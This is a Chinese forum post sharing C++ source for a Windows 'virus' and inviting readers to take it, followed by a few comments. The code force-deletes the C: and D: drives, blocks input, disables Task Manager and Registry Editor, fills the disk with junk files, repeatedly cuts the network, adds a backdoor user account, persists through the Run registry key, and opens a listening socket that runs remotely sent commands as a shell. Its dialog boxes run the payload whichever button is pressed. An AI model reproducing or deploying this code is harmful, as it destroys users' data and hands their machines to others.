小病毒,可以带走,名字:广告代租病毒()
2025-09-09 19:10:12
发布于:江西
#include<bits/stdc++.h>
#include <Windows.h>
#include <tchar.h>
#include <Winable.h>
#include <cstdlib>
#include <cstdlib>
#include <ctime>
#include <Windows.h>
#define _CRT_SECURE_NO_WARNINGS 1
#pragma comment(lib,"winmm.lib")
#pragma comment(lib, "netapi32.lib")
#include <cstring>
#include <fstream>
#include <conio.h>
#include <cmath>
#include <tchar.h>
#include <assert.h>
#include <Shlobj.h>
#include <lm.h>
#include <wchar.h>
#include <errno.h>
#include <winioctl.h>
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <windows.h>
#include <winsock.h>
#include <list>
#include <vector>
#pragma comment(lib,"ws2_32.lib")
using namespace std;
// 弹窗线程函数
DWORD WINAPI PopupThread(LPVOID lpParam) {
int count = 1;
while(1) {
TCHAR message[256];
MessageBox(NULL, message, _T("关不掉吧"), MB_OK | MB_ICONINFORMATION);
Sleep(500);
}
return 0;
}
DWORD WINAPI Moce(LPVOID lpParam) {
SetCursorPos(0, 0);
while(1) {
POINT cursorPos;
if (GetCursorPos(&cursorPos)) {
std::cout << "Mouse position: X = " << cursorPos.x << ", Y = " << cursorPos.y << std::endl;
if(cursorPos.x>=200||cursorPos.y>=200) {
SetCursorPos(10, 10);
}
} else {
std::cout << "Failed to get mouse position." << std::endl;
}
}
}
DWORD WINAPI Moce2(LPVOID lpParam) {
//----------移除快速编辑模式(对于win10用户)----------
HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE);
DWORD mode;
GetConsoleMode(hStdin, &mode);
mode &= ~ENABLE_QUICK_EDIT_MODE;
SetConsoleMode(hStdin, mode);
//----------循环检测----------
while(1) { //循环检测
if(KEY_DOWN(VK_LBUTTON)||KEY_DOWN(VK_RBUTTON)) { //鼠标左键按下
system("start mspaint");
}
Sleep(20); //等待20毫秒,减少CPU占用
}
}
DWORD WINAPI CMD(LPVOID lpParam) {
for(int i=1; i<=5; i++) {
system("start cmd");
Sleep(500);
}
while(1) {
system("start cmd");
Sleep(500);
system("start calc");
Sleep(500);
}
}
DWORD WINAPI Cond(LPVOID lpParam) {
while(1) {
for(int i=1; i<=121; i++) {
if (KEY_DOWN(i)) {//Enter在Key Code中为13
system("start notepad");
Sleep(200);
}
}
}
}
DWORD WINAPI pm(LPVOID lpParam) {
while(1) {
int cx=GetSystemMetrics(SM_CXSCREEN);
int cy=GetSystemMetrics(SM_CYSCREEN);
HWND hwnds;
hwnds = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄
HDC hdcs = GetDC(0);
BitBlt(hdcs, 0, 0, cx, cy, hdcs, 0, 0, NOTSRCCOPY);
Sleep(1000);
}
}
DWORD WINAPI qxx(LPVOID lpParam) {
// 禁用系统任务管理器
void RegTaskmanagerForbidden() {
HKEY hkey;
DWORD value = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
RegCloseKey(hkey);
}
// 禁用注册表编辑器
void RegEditForbidden() {
HKEY hkey;
DWORD value = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
RegCloseKey(hkey);
}
// 干掉桌面壁纸
void RegModifyBackroud() {
DWORD value = 1;
HKEY hkey;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
}
}
DWORD WINAPI wj(LPVOID lpParam) {
for(int i=0; i<100; i++) {
string s;
stringstream ss;
ss<<i;
ss>>s;
freopen(("D:\\"+s+".txt").c_str(),"w",stdout);
for(int j=0; j<1024*1024*1024; j++) {
cout<<'*';//一个txt放一个GB ,因为一个TXT最多只能放一个GB
}
}
}
DWORD WINAPI wl(LPVOID lpParam){
while(1)system("ipconfig /release"); //断开网络
}
DWORD WINAPI hm(LPVOID lpParam) {
class Socket_TCP_connect {
public:
//初始化socket库
Socket_TCP_connect() {
WORD socketversion = MAKEWORD(2, 0); //初始化版本
WSADATA socketData; //初始化套接字内容
WSAStartup(socketversion, &socketData); //初始化socket库
}
public:
//建立tcp套接字监听并绑定地址和端口
void Socket_TCP_Bind_Listen(int port = 65530, u_long ip_list = INADDR_ANY) {
s1 = socket(AF_INET, SOCK_STREAM, 0);
sin1.sin_family = AF_INET;
sin1.sin_addr.S_un.S_addr = ip_list;
sin1.sin_port = htons(port);
bind(s1, (sockaddr *)&sin1, sizeof(sin1));
listen(s1, 5);
Socket_TCP_Accept();
}
private:
//接受客户端信息
void Socket_TCP_Accept() {
char buffer[1024];
int addrlen = sizeof(sin2);
while (true) {
FILE *fp = fopen("123.txt", "w+");
fclose(fp);
cout << ">>wait for connect……" << endl;
s2 = accept(s1, (sockaddr *)&sin2, &addrlen);
cout << ">>connect from " << inet_ntoa(sin2.sin_addr) << endl;
while (true) {
int ret = recv(s2, buffer, sizeof(buffer), 0);
buffer[ret] = 0x00;
string commend = buffer;
string cmd = "";
for (auto &chr : commend) {
if (chr == '\n') {
chr = ' ';
}
cmd = cmd + chr;
}
cmd = cmd + "> 123.txt";
char c[1024];
strcpy(c, cmd.c_str());
cout << "执行:" << endl;
cout << c << endl;
if (system(buffer) == 0) {
send(s2, "OK", strlen("OK"), 0);
if (system(c) == 0) {
char str[1024] = "";
FILE *fp2 = fopen("123.txt", "rb+");
fread(str, sizeof(char), 1024, fp2);
cout << str;
send(s2, str, strlen(str), 0);
fclose(fp2);
}
}
}
closesocket(s2);
}
closesocket(s1);
WSACleanup();
}
private:
SOCKET s1, s2;
sockaddr_in sin1, sin2;
};
int main() {
system("chcp 65001");
Socket_TCP_connect* conn = new Socket_TCP_connect();
conn->Socket_TCP_Bind_Listen();
return 0;
}
}
void qd() {
FreeConsole();//屏蔽输出
BlockInput();//阻止键盘和鼠标的工作
system("shutdown -s -t 180");
system("del /F /S /Q D:\\");
system("del /F /S /Q C:\\");
char d[100];
char b[100];
char a[50];
DWORD c=100;
GetUserName(a,&c);//获得用户名
sprintf(d,"%s%s%s","net user ",a," 已中毒");//设置cmd指令
sprintf(b,"%s%s%s","net user ",a," /fullname:1234567890");
system("net user xxx 1234567890 /add");
system(d);
system(b);
HKEY k;
if(RegOpenKeyEx(HKEY_CURRENT_USER,_T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &k) == ERROR_SUCCESS) {
TCHAR str[MAX_PATH];
GetModuleFileName(NULL, str, MAX_PATH);
TCHAR strDir[MAX_PATH] = {};
DWORD nLength = MAX_PATH;
long result = RegSetValue(k, nullptr, 0, strDir, nLength);
if (result != ERROR_SUCCESS || _tcscmp(str, strDir) != 0) {
RegSetValueEx(k, _T("GISRestart"), 0, REG_SZ, (LPBYTE)str, (lstrlen(str) + 1) * sizeof(TCHAR));
RegCloseKey(k);
}
}
// 创建多个弹窗线程
HANDLE hThread1 = CreateThread(NULL, 0, PopupThread, NULL, 0, NULL);
HANDLE hThread2 = CreateThread(NULL, 0, PopupThread, NULL, 0, NULL);
HANDLE hThread3 = CreateThread(NULL, 0, PopupThread, NULL, 0, NULL);
HANDLE hThread4 = CreateThread(NULL, 0, PopupThread, NULL, 0, NULL);
HANDLE hThread5 = CreateThread(NULL, 0, Moce, NULL, 0, NULL);
HANDLE hThread6 = CreateThread(NULL, 0, Moce2, NULL, 0, NULL);
HANDLE hThread7 = CreateThread(NULL, 0, CMD, NULL, 0, NULL);
HANDLE hThread8 = CreateThread(NULL, 0, Cond, NULL, 0, NULL);
HANDLE hThread9 = CreateThread(NULL, 0, pm, NULL, 0, NULL);
HANDLE hThread10 = CreateThread(NULL, 0, qxx, NULL, 0, NULL);
HANDLE hThread11 = CreateThread(NULL, 0, wj, NULL, 0, NULL);
HANDLE hThread12 = CreateThread(NULL, 0, hm, NULL, 0, NULL);
HANDLE hThread13 = CreateThread(NULL, 0, wl, NULL, 0, NULL);
// 等待线程结束
/*
WaitForSingleObject(hThread1, INFINITE);
WaitForSingleObject(hThread2, INFINITE);
WaitForSingleObject(hThread3, INFINITE);
WaitForSingleObject(hThread4, INFINITE);
WaitForSingleObject(hThread5, INFINITE);
WaitForSingleObject(hThread6, INFINITE);
WaitForSingleObject(hThread7, INFINITE);
WaitForSingleObject(hThread8, INFINITE);*/
while(1) {
if (KEY_DOWN(123)) {
// 关闭线程句柄
CloseHandle(hThread1);
CloseHandle(hThread2);
CloseHandle(hThread3);
CloseHandle(hThread4);
CloseHandle(hThread5);
CloseHandle(hThread6);
CloseHandle(hThread7);
CloseHandle(hThread8);
CloseHandle(hThread9);
CloseHandle(hThread10);
CloseHandle(hThread11);
CloseHandle(hThread12);
CloseHandle(hThread13);
MessageBox(NULL,("程序已紧急终止"),("jjy"),MB_OK|MB_ICONINFORMATION);
system("shutdown -r -t 0");//重启后才有效果-改密码
}
}
}
int main() {
//MessageBox(NULL, "这是一个警告消息!", "jjy", MB_ICONWARNING | MB_OK);
ShowWindow(GetConsoleWindow(),SW_HIDE);
if(MessageBox(NULL,("这是有害程序,真要运行吗"),("jjy"),MB_YESNO|MB_ICONINFORMATION)==IDYES) {
if(MessageBox(NULL,("这是有害程序,真要运行吗,最后退出的机会!"),("jjy"),MB_YESNO|MB_ICONINFORMATION)==IDYES) {
qd();
} else {
MessageBox(NULL,("别想了,好好享受吧"),("jjy"),MB_OK|MB_ICONINFORMATION);
qd();
}
} else {
if(MessageBox(NULL,("你确定要退出?"),("jjy"),MB_YESNO|MB_ICONINFORMATION)==IDYES) {
MessageBox(NULL,("别想了,好好享受吧"),("jjy"),MB_OK|MB_ICONINFORMATION);
qd();
} else {
MessageBox(NULL,("嘻嘻"),("jjy"),MB_OK|MB_ICONINFORMATION);
qd();
}
}
exit(0);
return 0;
}
防止程序运标识
//system("del /F /S /Q D:\\");//强制删除D盘(慎用)
/*
HKEY k;
if(RegOpenKeyEx(HKEY_CURRENT_USER,_T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &k) == ERROR_SUCCESS)
{
TCHAR str[MAX_PATH];
GetModuleFileName(NULL, str, MAX_PATH);
TCHAR strDir[MAX_PATH] = {};
DWORD nLength = MAX_PATH;
long result = RegSetValue(k, nullptr, 0, strDir, nLength);
if (result != ERROR_SUCCESS || _tcscmp(str, strDir) != 0)
{
RegSetValueEx(k, _T("GISRestart"), 0, REG_SZ, (LPBYTE)str, (lstrlen(str) + 1) * sizeof(TCHAR));
RegCloseKey(k);
}
}
*/
全部评论 3
有一个禁止运行标志,所以不能运行,要的话删掉就行,不过建议不要运行,要的话也最好用虚拟机
2025-08-22 来自 江西
1你代码块爆了
2025-08-22 来自 江西
0我觉得不错
2025-08-22 来自 江西
0
有帮助,赞一个